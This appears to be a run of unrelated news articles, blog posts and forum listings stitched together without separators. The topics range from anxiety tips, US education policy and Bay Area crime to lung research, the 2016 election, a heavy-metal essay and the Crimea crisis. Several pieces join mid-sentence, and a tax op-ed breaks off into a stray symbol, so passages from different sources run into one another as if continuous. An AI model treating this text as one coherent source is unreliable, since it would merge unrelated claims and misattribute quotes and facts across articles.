“Many thoughts and sensations that we interpret as cues for concern–even panic–are just background noise. Think of each of them [rapid heart beat, tensing of muscles] as a fire engine going to another place.”
5. Turn your anxiety into a movie.
“..imagine that your anxious thoughts are a show… while you sit in the audience, eating popcorn, a calm observer.”
This is a good way to exercise ‘detachment,’ stepping outside of the anxiety just enough to keep your thinking brain working. Another technique I suggest is to imagine the worry happening to a friend, not you. Then imagine talking to your friend. What would you say to them? How can you be supportive?
6. Set aside worry time.
“Try setting aside 20 minutes everyday–let’s say 4:30 PM–just for your worries. If you are fretting at 10 AM, jot down the reason and resolve to think about it later. By the time 4:30 comes around, many of your troubles won’t even matter anymore.”
7. Take your hand off the horn.
“When you desperately try to take command of things that can’t be controlled, you’re more like the swimmer who panics and slaps the water screaming… Instead, imagine that you are floating along on the water with your arms spread out…It’s a paradox, but when you surrender to the moment, you actually feel far more in control.”
8. Breathe it out.
“Focusing on breathing is a common but effective technique for calming the nerves.”
This a classic, oldy, but goody. If you do it right, deep, mindful breathing is better than Valium.
9. Make peace with time.
“Every feeling of panic comes to an end, every concern eventually wears itself out, every so-called emergency seems to evaporate.”
When we are in the midst of a panic attack we feel it will last forever or else we will die. Remembering the fact that panic attacks and anxiety in milder form is finite, usually not lasting more than ten minutes. Dr. Leahy also counsels:
“Ask yourself, ‘How will I feel about this in a week or a month?’ This one, too, really will pass.”
10. Don’t let your worries stop you from living your life.
“What can you still do even if you feel anxious? Almost anything.”
Not all anxiety is bad. Keep in mind that some highly productive people transform their anxiety into motivation to do better and achieve much, both great and small.
To read all of Dr. Leahy’s article click here or look for it in the October 2009 issue of Real Simple magazine.
This article was originally published on Explore What’s Next.
For more on anxiety read:
10 Steps to Lower Anxiety and Find Empowerment
What Is Anxiety?
Understanding the Anxious Mind
Ten More Ways to Lower AnxietyHe said that although the administration had developed various proposals, it would solicit input from Congressional leaders of both parties in coming weeks to create legislative language that can attract bipartisan support. Some details of the president’s proposals are expected to be made public on Monday, when the president outlines his $3.8 trillion budget for the 2011 fiscal year.
The changes would have to be approved by Congress, which has been at a stalemate for years over how to change the policy.
Currently the education law requires the nation’s 98,000 public schools to make “adequate yearly progress” as measured by student test scores. Schools that miss their targets in reading and math must offer students the opportunity to transfer to other schools and free after-school tutoring. Schools that repeatedly miss targets face harsher sanctions, which can include staff dismissals and closings. All students are required to be proficient by 2014.
Educators have complained loudly in the eight years since the law was signed that it was branding tens of thousands of schools as failing but not forcing them to change.
The secretary of education, Arne Duncan, foreshadowed the elimination of the 2014 deadline in a September speech, referring to it as a “utopian goal,” and administration officials have since made clear that they want the deadline eliminated. In recent meetings with representatives of education groups, Department of Education officials have said they also want to eliminate the school ratings system built on making “adequate yearly progress” on student test scores.
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“They were very clear with us that they would change the metric, dropping adequate yearly progress and basing a new system on another picture of performance based on judging schools in a more nuanced way,” said Bruce Hunter, director of public policy for the American Association of School Administrators, who attended one of the meetings.
The current system issues the equivalent of a pass-fail report card for every school each year, an evaluation that administration officials say fails to differentiate among chaotic schools in chronic failure, schools that are helping low-scoring students improve and high-performing suburban schools that nonetheless appear to be neglecting some low-scoring students.
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Instead, under the administration’s proposals, a new accountability system would divide schools into more categories, offering recognition to those that are succeeding and providing large new amounts of money to help improve or close failing schools.
A new goal, which would replace the 2014 universal proficiency deadline, would be for all students to leave high school “college or career ready.” Currently more than 40 states are collaborating, in an effort coordinated by the National Governors Association and encouraged by the administration, to write common standards defining what it means to be a graduate from high school ready for college or a career.
The new standards will also define what students need to learn in earlier grades to advance successfully toward high school graduation.
The administration has already made its mark on education through Race to the Top, a federal grant program in which 40 states are competing for $4 billion in education money included in last year’s federal stimulus bill. In his State of the Union address, Mr. Obama hailed the results so far of that competition, which has persuaded states from Rhode Island to California to make changes in their education laws. States that prohibit the use of test scores in teacher evaluations, for example, are not eligible for the funds. The competition has also encouraged states to open the door to more charter schools, which receive public money but are run by independent groups.
Now the administration hopes to apply similar conditions to the distribution of the billions of dollars that the Department of Education hands out to states and districts as part of its annual budget.
“They want to recast the law so that it is as close to Race to the Top as they can get it, making the money conditional on districts’ taking action to improve schools,” said Jack Jennings, president of the Center on Education Policy, who attended a recent meeting at which administration officials outlined their plans in broad strokes. “Right now most federal money goes out in formulas, so schools know how much they’ll get, and then use it to provide services for poor children. The department thinks that’s become too much of an entitlement. They want to upend that scheme by making states and districts pledge to take actions the administration considers reform, before they get the money.”
One section of the current Bush-era law has required states to certify that all teachers are highly qualified, based on their college coursework and state-issued credentials. In the Race to the Top competition, the administration has required participating states to develop the capability to evaluate teachers based on student test data, at least in part, and on whether teachers are successful in raising student achievement.
Educators who have talked to the administration said the officials appeared to be considering inserting similar provisions into the main education law, by requiring the use of student data in teacher evaluation systems as a condition for receiving federal education money. Mr. Duncan has publicly endorsed such an approach, Mr. Cunningham said.
The education law has been praised for focusing attention on achievement gaps, but it has also generated tremendous opposition, especially from educators, who contend that it sets impossible goals for students and schools and humiliates students and educators when they fall short. The law has, to date, labeled some 30,000 schools as “in need of improvement,” a euphemism for failing, but states and districts have done little to change them.
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The last serious attempt to rewrite the law was in 2007. That effort collapsed, partly because teachers’ unions and other educator groups opposed an effort to incorporate merit pay provisions into a rewritten law. Earlier this month, Mr. Duncan and more than a dozen other administration officials took steps toward organizing a new rewrite, meeting with the Democratic chairmen and ranking Republican members of the education committees in both houses of Congress.0 Feb 9, 2018 @ 9:20am PINNED: EMBLEMS PTB Shelby_BHVR
31 31 Apr 26, 2017 @ 1:54am PINNED: PTB - Black Screen after Intro Video bhvr_sbdaniel
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20 20 Mar 19, 2018 @ 8:24am Its nearly impossible to depip both as killer and survivor/emblem system Crythor
6 Mar 18, 2018 @ 1:49am PTB and thoughts on it? MrXenik
1 Mar 18, 2018 @ 1:49am [PTB] Sounds for killer Awesome
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7 Mar 16, 2018 @ 10:49am PTB - Wtf is this?! PTB - Wtf is this?! Xolhozht
8 Mar 16, 2018 @ 10:15am The Public Test Build Bug Reports 3/15/18 Zagrid
0 Mar 16, 2018 @ 3:11am The sound of hooking Bug during PTB Annerson
1 Mar 15, 2018 @ 3:40pm (Bug) (PTR) Emblembug Sabuesa_Ger
0 Feb 13, 2018 @ 5:46am Suggested Emblem balancing changes to balance the difficulty between Survivors and Killers. ZephandrypusHere are the hot stories in the Bay Area for
Wednesday, September 22, 2010:
Impostor police officer robs woman, San Leandro
police say
A man impersonating a police officer handcuffed a woman walking
along East 14th Street and took $200 from her wallet during a supposed
ID search, police said.
The woman was walking in the 14800 block around 4:45 p.m. Tuesday
when a black SUV, possible a Chevy Tahoe, with flashing lights in its
radiator grill, pulled up to her, Lt. Jeff Tudor said. A man in a
tactical police uniform and carrying a handgun in a holster jumped out
of the vehicle and told her to freeze. He then put her in handcuffs
and asked her if she was under the influence of drugs, Tudor said.
The woman became suspicious, apparently because the man’s uniform,
appearance and equipment appeared strange to her. She asked the man
for identification. But he said he did not have any, then looked
through her wallet, supposedly searching for her ID, Tudor said.
Read more of Jason Sweeney’s story in the Oakland Tribune
and at InsideBayArea.com. Follow Sweeney on
Twitter.
Parents: San Jose cop pretends to arrest son for
having sex with officer’s stepdaughter
A San Jose police officer is being criminally investigated for
handcuffing his stepdaughter’s 15-year-old boyfriend and pretending to
arrest him for having sex with the 14-year-old girl.
Prosecutors are probing the incident — parts of which are caught
on a smartphone video — to see whether the officer committed a
criminal false imprisonment soon after he showed up at the house on
his motorcycle and in full uniform late last month.
“Not a good thing that the person you had sex with is a cop’s
daughter,” the officer sternly says, standing over the handcuffed boy
in his family’s living room, according to the video. “The district
attorney will probably file charges. “… A cop’s daughter is not
somebody you mess around with. You’re stupid.”
Read more of Sean Webby’s San Jose Mercury News
story.
Worst trash spots along waterways in San Mateo
County spotlighted
The rainy season will push hundreds of tons of trash into San
Francisco Bay next month from where it has collected in storm drains
and creek beds, according to a report compiled by a local
environmental group.
Save the Bay identified 225 trash “hot spots” along urban creeks
and shorelines. Of those, San Mateo County has 37 such spots spread
out over 16 rivers, creeks and sloughs. Redwood City, San Mateo and
South San Francisco each have several notorious spots, although the
places it collects are downstream of other cities as well.
The group wanted to draw attention to the Bay Area’s pervasive
trash problems ahead of Coastal Cleanup Day, a statewide day of action
on which thousands of citizens pitch in to pick up litter along
streets and waterways.
Read more of Julia Scott’s San Mateo County Times article
at MercuryNews.com/san-mateo-county.
S.F. Mayor Newsom vetoes fee on alcohol
Mayor Gavin Newsom wasted little time Tuesday vetoing San
Francisco’s plan to charge alcohol wholesalers a fee to help cover the
city’s costs to care for chronic drunks, but the proposal may not be
dead, the S.F. Chronicle said.
Despite Newsom’s vow to “veto that as soon as they get it on my
desk,” which he did just hours after the Board of Supervisors gave
final approval for the first-in-the-state legislation, the plan’s
author said he might go directly to the voters.
“Maybe we go to the ballot,” Supervisor John Avalos, who authored
the legislation, said after the veto. “There’s a lot of people who
think this a good idea.”
Read more here.
Official: San Quentin death chamber ready for use
Officials say a death chamber at San Quentin State Prison is ready
for a scheduled execution next week — if a federal judge lifts his
moratorium on lethal injections.
The media got a rare glimpse of the $835,000 facility on the same
day lawyers for Attorney General Jerry Brown urged U.S. District Court
Judge Jeremy Fogel to allow the execution of Albert Greenwood
Brown.
The death row inmate is scheduled to die Sept. 29 for the rape and
murder of a 15-year-old Riverside County girl abducted on her way home
from school in 1980. Fogel indicated he will issue a ruling by
Friday.
Read more of this Associated Press story in the Marin
Independent Journal.
Bat found next to victim could be weapon used in
Vallejo homicide
The victim of Vallejo’s 13th homicide may have been bludgeoned to
death with a metal baseball bat, police said Tuesday.
A body thought to be that of 33-year-old Ritchie Lei Lusung Campued
of Vallejo was found in the car of her ex-boyfriend, William Espinosa
Ubando, 39, along with a bat Monday.
Ubando, also of Vallejo, is being held without bail on suspicion of
homicide. He is scheduled to be arraigned today.
The Solano County Coroner’s Office is also scheduled today to
perform an autopsy to confirm the victim’s identity and preliminary
cause of death, officials said.
Read more of Tony Burchyns’ Vallejo Times-Herald story
here.
Check in weekday afternoons for the P.M. Bay
Area Buzz, a summary of news from Bay Area News Group staff writers,
The Associated Press, Bloomberg News and other wire services. Contact
George Kelly at 925-323-8318. Follow him on Twitter at http://twitter.com/allaboutgeorge.A doughnut created in a lab and made of silk on the outside and collagen gel where the jelly ought to be can mimic a basic function of brain tissue, scientists have found.
Bioengineers produced a kind of rudimentary gray matter and white matter in a dish, along with rat neurons that signaled one another across the doughnut’s center. When the scientists dropped weights on the material to simulate traumatic injury, the neurons in the three-dimensional brain model emitted chemical and electrical signals similar to those in the brains of injured animals.
It is the first time scientists have been able to so closely imitate brain function in the laboratory, experts said. If researchers can replicate it with human neurons and enhance it to reflect other neurological functions, it could be used for studying how disease, trauma and medical treatments affect the brain — without the expense and ethical challenges of clinical trials on people.
“In terms of mechanical similarity to the brain, it’s a pretty good mimic,” said James J. Hickman, a professor of nanoscience technology at the University of Central Florida, who was not involved in the research. “They’ve been able to repeat the highest level of function of neurons. It’s the best model I’ve seen.”Republican strategist Steve Schmidt said early Wednesday that Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE could win more than 400 Electoral College votes on Nov. 8, adding that "the panic is beginning" among Republicans.
"I think she's trending over 400," Schmidt said during an appearance on MSNBC's "Morning Joe."
Schmidt also predicted that Democrats will take control of the Senate and are close to taking the House of Representatives.
"If this election was today, I think Republicans are down 25 seats, as of today, with the trend line going in the wrong direction," he said.
“The panic is beginning."
A Washington Post/Survey Monkey poll released Tuesday showed the former secretary of State leading in enough states to take 304 electoral votes — well above the 270 needed to win.
Clinton is leading Republican Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE by 7.2 points in the RealClearPolitics average of national polling, 49.1 to 41.9 percent.
As of Wednesday, The New York Times gave Clinton a 92 percent chance of winning the election.Alt-right leader Richard Spencer and his gang of white nationalist neo-Nazis emerged in Charlottesville once again on Saturday night. The group wielded torches and chanted "you will not replace us" as they stood in front of the statue of Confederate Gen. Robert E. Lee, which has been covered in black tarp.
In August, Spencer and white supremacists descended on Charlottesville and held a torch-lit march that poured into a massive rally organized by the alt-right the following day and resulted in the murder of peaceful activist, Heather Hayer.
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"It was a planned flash mob," Spencer said of Saturday's torch-lit march, according to the Washington Post. "It was a great success. We’ve been planning this for a long time."
"We wanted to prove that we came in peace in May, we came in peace in August, and we come again in peace," he added.
Only white supremacy and Nazism does not come in peace. In August the participants chanted "Jews will not replace us" but on Saturday night the group chanted "you will not replace us," meaning white people.
The group also chanted that the South would "rise again," the New York Times reported.
It's not clear how many were in attendance but some reports indicated roughly three dozen gathered in Emancipation Park.
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"Our identity matters. We are not going to stand by and allow people to tear down these symbols of our history and our people – and we’re going to do this again," Spencer explained, the Post reported.
The march was quickly condemned by Charlottesville Mayor Mike Signer who called them "cowards" in a tweet on Saturday night.
"Another despicable visit by neo-Nazi cowards. You’re not welcome here! Go home! Meantime we’re looking at all our legal options. Stay tuned," Signer wrote.
Another despicable visit by neo-Nazi cowards. You’re not welcome here! Go home! Meantime we’re looking at all our legal options. Stay tuned. — Mike Signer (@MikeSigner) October 8, 2017
Spencer responded to the tweet saying the two should "catch up next time we're in town." "It was great to be back in C'ville. We can catch up next time we're in town," Spencer wrote.
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.@MikeSigner It was great to be back in C'ville. We can catch up next time we're in town. — Richard ☝🏻Spencer (@RichardBSpencer) October 8, 2017
President Donald Trump was blasted for his milquetoast response to the August rally where he downplayed the violence and condemned both sides of the protest.
Trump, who frequently issues early-morning tweets, has not said anything about Saturday's rally as of the publication of this article.Two new studies identify the black material found in the lungs of smokers who died of emphysema as mostly insoluble nanoparticulate carbon black.
Physicians could only guess – until recently – at the composition of the black material found in the lungs of smokers who died of emphysema.
But research by Baylor College of Medicine and Rice University shows the deposits consist of carbon black nanoparticles that, once embedded in the cells that line the lungs, are impossible to remove.
In new papers in the online publication eLife and the journal Nature Immunology, researchers led by Baylor physicians David Corry and Farrah Kheradmand and Rice chemist James Tour identify the material as mostly insoluble nanoparticulate carbon black, tiny specks that result from the incomplete combustion of such organic material as tobacco. The particles average between 30 and 40 nanometers in size, about half the width of the membrane that surrounds a cell. (By comparison, a human hair is about 75,000 nanometers in diameter.)
Kheradmand, Corry and their colleagues studied the lungs of mice exposed to cigarette smoke and the lungs of human smokers with emphysema. They found the black material accumulates in the dendritic cells that serve as messengers in the human immune system and in the related antigen-presenting cells of mice.
They sent samples of the material to Tour and his students, who identified it. Ran You, a graduate student in Kheradmand’s lab, then introduced pure nanoparticulate carbon black, in roughly the same proportion of that found in the lungs of human smokers, directly into the noses of mice and found that it caused the animals to develop emphysema.
Tour said the finding is not limited to tobacco smoke. Other products, including tires, contain carbon black nanoparticles in significant amounts.
“I am concerned about how this affects industry,” Tour said. “It is going to have to change.” He said workers in industries that use carbon black, such as in rubber and plastics manufacturing, could be affected. “As it gets into the air, for example through tire-tread wear, it could affect the public as well, and it is imperative that risk assessments be conducted.”
While carbon black particles about 15 nanometers wide induced the most severe response, Tour said increasing the size of the particles to about 70 nanometers or oxidizing their surfaces greatly reduced their toxicity, based upon data presented in the eLife paper.
Kheradmand and You found the smaller carbon black particles caused double-stranded breaks in the cell’s DNA, a state that is very difficult to repair, and activated T helper 17 cells, which induced chronic inflammation in the lungs.
“We showed that it’s dose-dependent,” Kheradmand said. “The more you have, the worse it is. It is also size-dependent. The bigger particles do much less damage.”
“You never get rid of this stuff,” Corry said. “It will be important to conduct further studies to fully assess the spectrum of health-risk profile.”
In the eLife article, the authors wrote: “These findings largely explain the persistent and incurable nature of smoking-related lung disease. Because no medical means of removing accumulated lung nCB (nanoparticulate carbon black) exists, our findings underscore the need for all individuals and societies to minimize the production of and exposure to smoke-related particulate air pollution and industrial nCB.”
In the Nature Immunology article, Corry built upon eLife findings by studying the role of microRNA-22 as a link in the chain from exposure to carbon black to development of emphysema.
“We used to think of these tiny pieces of genetic material as junk,” Corry said. “Now we know that they are off-switches for protein-coding genes.
“This could be a therapeutic finding. We could design drugs to inhibit the microRNA through inhalation,” he said.
Co-authors of the eLife paper include Lu, Ming Shan, Xiaoyi Yuan, Lizhen Song and Amanda Hendrix, all of Baylor; former Rice postdoctoral researcher Jacob Berlin of the Beckman Research Institute in Duarte, California; and Errol Samuel, Daniela Marcano, Zhengzong Sun and William Sikkema, all of Rice.
Nature Immunology co-authors include You, Antony Rodrigues and Tianshu Yang, all of Baylor; and Samuel, Marcano and Sikkema of Rice. Corry, Kheradmand and Tour were authors on both reports.
The National Institutes of Health and the U.S. Veterans Affairs Office of Research and Development supported the research.
Kheradmand is a professor of pulmonary medicine at Baylor. Corry is a professor of medicine and chief of the Division of Immunology, Allergy and Rheumatology at Baylor. Tour is the T.T. and W.F. Chao Chair in Chemistry as well as a professor of materials science and nanoengineering and of computer science.
Publications:One likely option would be a lawsuit arguing that federal law trumps any state efforts. High anxiety on future of pot laws
The voters have spoken about legalizing marijuana in Colorado and Washington. Now it’s the federal government’s turn — and that might mean the two new referendums are about to go up in legal smoke.
The state ballot measures passed on Election Day creating the world’s most permissive pot laws put the Feds in a bind that could set in motion years of legal wrangling, tax penalties levied against growers or distributors — as well as unclear situations of SWAT-style raids by federal agents despite laxer local authorities.
Story Continued Below
“The stage is set for a confrontation of massive proportions,” said Asa Hutchinson, the former head of the Drug Enforcement Administration.
Hutchinson, who headed the DEA during George W. Bush’s first term, said he sees only two options for the Obama administration, in the likely event that it doesn’t just ignore the new laws: a lawsuit against both states or enforcement of federal drug laws by federal agents.
The most likely federal response, Hutchinson predicted, would be a lawsuit arguing that federal law trumps any state efforts. The administration should “have the courts decide finally that federal law trumps and that the state law violates the federal law,” he said.
Other former drug enforcers say that approach might work.
“Clearly, there are provisions in both of the initiatives that unambiguously violate federal law,” said Kevin Sabet, former senior adviser at the White House Office of National Drug Control Policy in the Obama Administration. “The regulation and taxation, the fact that you can buy marijuana at the store — that’s clearly in violation.”
Sabet said he would be “surprised” if the federal government stood back and allowed both states to move forward in setting up legal, taxable and regulated marijuana industries.
But that doesn’t worry the people behind these unprecedented experiments in state-level legalization.
“A 55 percent vote to end marijuana prohibition is a clear mandate,” said Brian Vicente, an attorney who helped write the Colorado law, citing the vote results. “It sends a message to our [state] officials and to federal officials.”
Even Amsterdam only tolerates marijuana in a handful of cannabis cafes. Wider use or growing the drug itself is illegal, though those provisions are unenforced. The new Colorado and Washington laws go much further: not only do they explicitly authorize citizens to use pot for recreational purposes, they demand state involvement, with provisions for regulating, taxing and licensing marijuana growers and retailers — creating systems where the drug can be sold just like alcohol.
“I think we would expect the Feds to be particularly concerned with growers and distributors, especially commercial sellers,” Sabet predicted.Despite accounting for a significant share of global trade and the resulting interdependencies from it, energy governance remains largely fragmented and there is no global framework or agreement defining the rules of energy trade. This paper, after presenting the main global and regional energy market developments, discusses the opportunities to ‘energise the TTIP’, i.e. to include a chapter dedicated to trade and cooperation in the sphere of energy. The shale revolution in the US, the ever-rising interconnectedness of energy markets (recently proven by the disappearance of the ‘Asian gas premium’) and the EU’s quest to diversify its energy supplies generally sets favourable conditions to reinforce energy relations between the EU and the US. The question, as is often the case, is whether there is sufficient political will to tighten relations in a strategic sphere with connotations for national security and sovereignty.
Paolo Natali is an originator at Eni Trading & Shipping and a Visiting Professor at the Paris School of International Affairs (PSIA), Sciences Po, dividing his time between London, Houston and Paris. Christian Egenhofer is Associate Senior Fellow and Head of the Energy and Climate programme at CEPS and Director of the Energy Climate House. Gergely Molnar is a Research Assistant at CEPS Energy and Climate Change unit. This paper is the 9th in a series produced in the context of the “TTIP in the Balance” project, jointly organised by CEPS and the Center for Transatlantic Relations (CTR) in Washington, D.C. It is published simultaneously on the CEPS (www.ceps.eu) and CTR websites (http://transatlantic.sais-jhu.edu).
Please, find here a summary of the publication in power point.They say history repeats itself, which is why I am shocked at the Republican response to the Democrats saying they'll let everyone's income taxes rise on January 1 and slash defense spending if Republicans continue to balk at raising taxes just on those making more than $250,000 a year. Didn't the Republicans "hold America hostage," as they accuse Democrats of doing, with the debt ceiling crisis just last year?
Desperate times call for desperate measures. The Democrats, finally, are being brave. They are forcing the Republicans to show the American people who their true master is: their constituents or Grover Norquist and the pledge they made to him.
"If we can't get a good deal, a balanced deal that calls on the wealthy to pay their fair share, then I will absolutely continue this debate into 2013 rather than lock in a long-term deal this year that throws middle-class families under the bus," Sen. Patty Murray, Democrat of Washington, said in a speech Monday. [See a collection of political cartoons on the budget and deficit.]
Democrats and Republicans have been fighting over |
utal” or even “melodic,” or they think it has a “cool riff” or that “the drummer is sick,” most metal listeners are not musicians and therefore aren’t equipped to focus on the intricacies of the music itself. Metal is a demanding genre, and for the untrained ear it can ultimately be very difficult for people to understand (unless we’re talking about lowest common denominator stuff like Emmure). Everyone’s got a voice and everyone intrinsically understands how to listen to one, even if they can’t understand what it’s saying.
3) As a live hypeman: People need someone to watch, someone to gravitate their eyes towards in the live setting. Viewers of live performances need someone to hold their attention, to keep their minds occupied beyond just the music itself. But focusing squarely on the music is difficult business, and it’s intense. Modern metal frontmen are leaders, orchestra “conductors” and hypemen all in one, leading the band’s live attack even though most of them have fairly little to do with their band’s creative processes. The Red Chord frontman Guy Kozywyk seems to have an innate self-awareness of the vocalist-as-hypeman phenomenon, often mocking the audience for following his every move, while guys like Veil of Maya’s Brandon Butler have become a running joke for their hilarious “stage voice” (and I happen to enjoy VoM’s music).
4) Commercial appeal: Because of all three reasons above, you’ve got to have a vocalist for your metal band to really succeed. A select few vocal-less bands like Animals As Leaders have done well in recent years, but I believe they will ultimate run right into a glass ceiling when all the metal musicians in the world have been converted into fans. A band like Periphery will always have a greater “upside” — a sports term used to describe the eventual upper limit of a young, budding prospect — simply because they have a vocalist. Even more so if their vocalist uses clean vocals and happens to be good at it.
But metal is not, by nature, a commercial genre. Metal prides itself on being technical, forward-thinking and a step ahead of the rest of the music world, and with that in mind the idea of having vocalists at all is pretty arcane. Vocalists are going to want my nuts on a stick for the following statement, but here goes: the vocalist is the least talented musician in pretty much every modern metal band.
Yes, some skill goes into learning how to growl and refining that craft, which I can certainly appreciate, and the distinctions between death metal growls, black metal screeches, gutturals, brees, and so on and so forth are not lost on me. But learning any of those requires a fraction of the time and energy that goes into learning every other instrument. Pretty much any high school kid can pick up a mic, start growling, and get to be alright at it in a short amount of time. Not so for the other instruments in the standard metal arsenal, the players of which need to be much more proficient to hack it in even a bad metal band. Metal is intrinsically an instrument-driven genre. Removing vocalists from the equation entirely would necessarily draw the emphasis back where it belongs — on the music itself — without the distraction of a vocalist mucking things up.
I’ve heard countless metal industry execs and fans alike gripe that metal hasn’t really had a big “break out” band to surface in the past decade; even the biggest of the big in today’s scene — bands like Lamb of God and Killswitch Engage — are caught in limbo between being a little too big to play a 3,000-4,000 seat theater and way too small to play an arena. They certainly aren’t the arena bands of yore, and they never will be. This is not a problem endemic to the music industry as a whole: bands like The Killers, Kings of Leon, The Black Keys, and Muse, just to name a few, are rock bands that have broken out in the past decade and risen to the arena level. The problem lies in metal itself, and the problem in metal is that pretty much all the vocalists vomit forth indistinguishable walls of noise.
Yes, I know there are exceptions, as there are with any rule. I could never dream of going to a Lamb of God show without Randy Blythe or listening to a Soilwork album without Speed Strid, for example. I also have a fondness for a time when my friends and I bought new metal albums on cassette tapes; that doesn’t mean I don’t understand why cassette tapes went away. Things change. Art evolves.
If metal is going to continue to blaze new paths and be at the forefront of music progression — looking behind as everyone else follows in its slipstream — the vocalists have got to go. Not just the growlers; all of them. It’s quaint, it’s gotten boring, it’s outlived its relevancy, and it’s what’s best for metal as a form of art.
-VNAccording to the team, the device is 87 percent accurate with your measurements on file, but it's still up to 70 percent accurate without them. "Just by generally knowing what human heartbeats look like in different emotional states," team member and PhD student Mingmin Zhao said, "we can look at a random person's heartbeat and reliably detect their emotions."
It sounds like the perfect lie detector for people who tend to hide their feelings, but it has a number of other potential applications. Film companies can use it during test screenings to get a deeper look at how their movie affects people, while connected homes can adjust lighting, heating and other components based on their residents' moods. More importantly, doctors can use it as a non-invasive method to keep an eye on patients with depression, anxiety issues and other medical conditions.
"By recovering measurements of the heart valves actually opening and closing at a millisecond time-scale, this system can literally detect if someone's heart skips a beat," Fadel Adib, another team member explained. "This opens up the possibility of learning more about conditions like arrhythmia, and potentially exploring other medical applications that we haven't even thought of yet."There was a time, not long ago, when Republicans — whatever you might think of their other ideas — were part of the mainstream consensus on monetary policy. Here’s the Economic Report of the President from 2004 (pdf), presumably written by Greg Mankiw:
Aggressive monetary policy can reduce the depth of a recession.
But now we have Mitt Romney declaring his intention to replace Ben Bernanke for, um, pursuing aggressive monetary policy to fight a recession (not aggressive enough, but that’s another issue). Romney:
I want to make sure the Federal Reserve focuses on maintaining the monetary stability that leads to a strong dollar and confidence that America is not going to go down the road that other nations have gone down, to their peril.
And the GOP platform will reportedly include a call for steps toward a return to the gold standard.
The really strange thing about all this is that this turn toward hard-money mysticism is taking place even as events have demonstrated that the advantages of not being on a gold standard, of having a fiat currency that can be printed freely in emergencies, are even greater than standard analysis had supposed.
Mark Thoma links to an old piece of mine that I think does a pretty good job of laying out that standard case; but we now know that there’s a major additional concern, the ability of the central bank to act as lender of last resort to the government as well as private banks. Consider, as Paul De Grauwe has in one of the most important analyses (pdf) to come out of the crisis, the contrast between Spain and the UK. Their medium-term fiscal outlooks are comparable, at least according to the IMF:
Source: IMF
But borrowing costs have soared in Spain, while falling in Britain:
Source: Eurostat
So the GOP has decided that we must reject the evils of fiat money and go for the gold standard at precisely the moment when events have demonstrated that fiat money is a really useful thing and the loss of flexibility that comes from ending fiat currencies can be utterly disastrous. What’s going on?
I think Yglesias has this right:
Commodity-backed money is basically a solution to a non-problem. Or at least it’s not a problem you have if you don’t accept a Randian deeply moralized view of market outcomes. The existince of fiat money is embarassing to that kind of ideology, so it inspires quests for alternatives to modern central banking even when the alternatives don’t make sense.
In this sense fiat money is like, oh, Social Security. The problem it creates for conservatives is not that it doesn’t work, but that it does — which is a challenge to their philosophy. And so it must die.Mumbai/New Delhi: India sold a stake in ITC Ltd., Asia’s second-biggest listed tobacco company, to government-owned Life Insurance Corp. of India for about Rs6,690 crores as it seeks to meet the year’s divestment target, people with knowledge of the matter said.
The government’s Specified Undertaking of the Unit Trust of India sold ITC shares at about Rs275.85 apiece, according to the people, who asked not to be identified because the information is private. The price represents about a 0.3% discount to Monday’s close. Neeraj Gupta, India’s secretary of the Department of Investment and Public Asset Management, said by phone that the government sold about 2% of ITC through a block trade.
India raised about Rs6,700 crores from the sale, which was priced around Monday’s close, Gupta said. He didn’t identify the buyer or the exact price per share.
Before the sale, Prime Minister Narendra Modi’s administration was still more than Rs10,000 crores away from meeting this year’s divestment target of Rs45,500 crores. The government had already lowered the projection from an earlier goal of Rs56,500 crores.
“The federal government is sending a strong signal to the market that it is serious about disinvestment targets for the year," Arun Kejriwal, founder of advisory firm Kejriwal Research & Investment Services Pvt., said by phone on Tuesday.
Citigroup Inc., Morgan Stanley and ICICI Securities Ltd advised the government on the share sale, the people said. D.S. Malik, a spokesman for the India Finance Ministry, and a representative for LIC declined to comment. ET Now reported earlier on Tuesday that LIC bought the ITC stake, citing unidentified people. BloombergRussia was swept up in patriotic fervour Friday for bringing Crimea back into its territory, with tens of thousands of people thronging Red Square waving flags and chanting “Crimea is Russia!” as a parliamentary leader declared that the peninsula would be welcomed as an “equal subject” of Russia.
[np_storybar title=”Anne Applebaum: The West’s tacit decision to accept all Russian money at face value is coming home to roost” link=”http://fullcomment.nationalpost.com/2014/03/07/anne-applebaum-vladimir-putins-western-enablers/”%5D
Back in 2006, an energy company called Rosneft floated itself on the London Stock Exchange. Even for a Russian company, its prospectus, as I noted at the time, contained some unusual warnings. “Crime and corruption could create a difficult business climate in Russia,” the document noted; some directors’ interests “may cause Rosneft to engage in business practices that do not maximize shareholder value.”
READ MORE
[/np_storybar]
The semi-autonomous region belongs to Ukraine, but the local parliament has called a March 16 referendum on whether Crimea should join Russia, a move President Barack Obama has called a violation of international law.
Tensions in Crimea were heightened late in the evening when pro-Russian forces tried to seize a Ukrainian military base in the port city of Sevastopol, according to the Ukrainian branch of the Interfax news agency. No shots were fired, but stun grenades were thrown, according to the report, citing Ukrainian officials.
About 100 Ukrainian troops are stationed at the base and they barricaded themselves inside one of their barracks, and their commander began negotiations, the report said. Crimea’s pro-Moscow leader denied any incident at the base.
In the week since Russia seized control of Crimea, Russian troops have been neutralizing and disarming Ukrainian military bases on the Black Sea peninsula. Some Ukrainian units, however, have refused to surrender.
Crimea’s new leader has said pro-Russian forces numbering more than 11,000 now control all access to region and have blockaded all military bases that haven’t yet surrendered.
Foreign Minister Sergey Lavrov warned U.S. Secretary of State John Kerry that sanctions over Russian actions in Crimea could backfire, the ministry said in a statement. In a telephone conversation, Lavrov urged the U.S. not to take “hasty, poorly thought-out steps that could harm Russian-U.S. relations, especially concerning sanctions, which would unavoidably boomerang on the U.S. itself,” the statement said.
The strategic peninsula has become the flashpoint in the battle for Ukraine, where three months of protests sent President Viktor Yanukovych fleeing to Russia. Moscow calls the new Ukrainian government illegitimate, and has seized control of Crimea, where it has a major naval base on the Black Sea.
Although President Vladimir Putin said Tuesday that Russia has no intention of annexing Crimea, he insisted that its residents have the right to determine the region’s status in the referendum.
Valentina Matvienko, the speaker of Russia’s upper house of parliament, made clear Friday the country would welcome Crimea if it votes in the referendum to join its giant neighbour. About 60 per cent of Crimea’s population identifies itself as Russian.
